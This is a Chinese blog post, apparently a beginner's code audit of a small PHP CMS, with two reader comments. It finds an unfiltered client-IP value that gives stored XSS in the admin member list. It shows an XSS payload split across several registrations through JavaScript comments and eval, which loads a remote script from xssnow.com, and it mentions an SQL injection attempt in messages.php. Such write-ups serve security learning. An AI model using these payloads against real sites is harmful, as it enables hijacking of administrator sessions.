最近系统的看了下细说php,补了下语法知识,感觉看代码顺畅多了。
开个这么久的分类终于开始上文章啦! 至于python版块... 再说吧..
说是cms,其实只是个同学写的小源码,不过作为初学者当做练习还是不错的。
ps:源码是从a5上下载的,传送门
首先看到core/global.func.php的一个函数
有戏,测试一下
直接写shell了,结果... 定义了不用 woc…
再看到同页面 getip函数
没有过滤 看看哪些地方调用了 一般注册,登陆和管理登陆的时候会用到ip
看到register.php
直接把$_POST插入 看看db类
看看safe_data方法
过滤了单引号 没有2次注入应该是不行了 试试xss
在admin/member_list.php(太长不截图)中ip是直接输出的 测试一下
确实没有过滤,准备写exp的时候,发现ip字段长度只有15个字符 = =
怎么搞.. <script></script>
都有17个字符了..
后来联想到<<xss跨站脚本攻击剖析与防御>>里的一个例子
把<script src=http://xssnow.com/aaaa></script>
变成
z="<script src=http://xssnow.com/aaaa><\/script>";document.write("z")
的形式
用多个账户注册,利用注释,拆分成
z="<script ";/*
*/z+="src=h";/*
...
最后*/document.write("z")</script>
还是太长 主要是这个docment.write
后来想到把这个也放进字符串里然后*/eval(z)</script>
18个字符 多了3个.. 卡了很久
最后突然醒悟
*/eval(z)/*
*/</script>
心想 简直完美!(立下flag)
等我傻傻的添加了16个账号后突然发现... member_list 一页只显示10个账号 Orz(求xss表哥带飞)
目瞪口呆之后.. 默默的把页面调成一次显示20个账号安慰下自己受伤的心灵
心想 我的处女审就这么泡汤了? no way!
继续看了一晚上 finally member/messages.php页面
直接写的语句,而不是用db类中的UPDATE,感觉有戏。看看to_sqls函数
这次还不完美?(再次立下flag),快速写出exp
咦,感觉哪里不对? 位数... 突然想到..
感觉这种除了自己建彩虹表,应该没戏……
有兴趣的小伙伴可以下载审一下,有发现其他的漏洞请联系我,求学习,求交流。
你的文章写得很好,学习了
时间: 2016-03-10 at 20:09 回复前来膜拜
时间: 2016-04-04 at 18:55 回复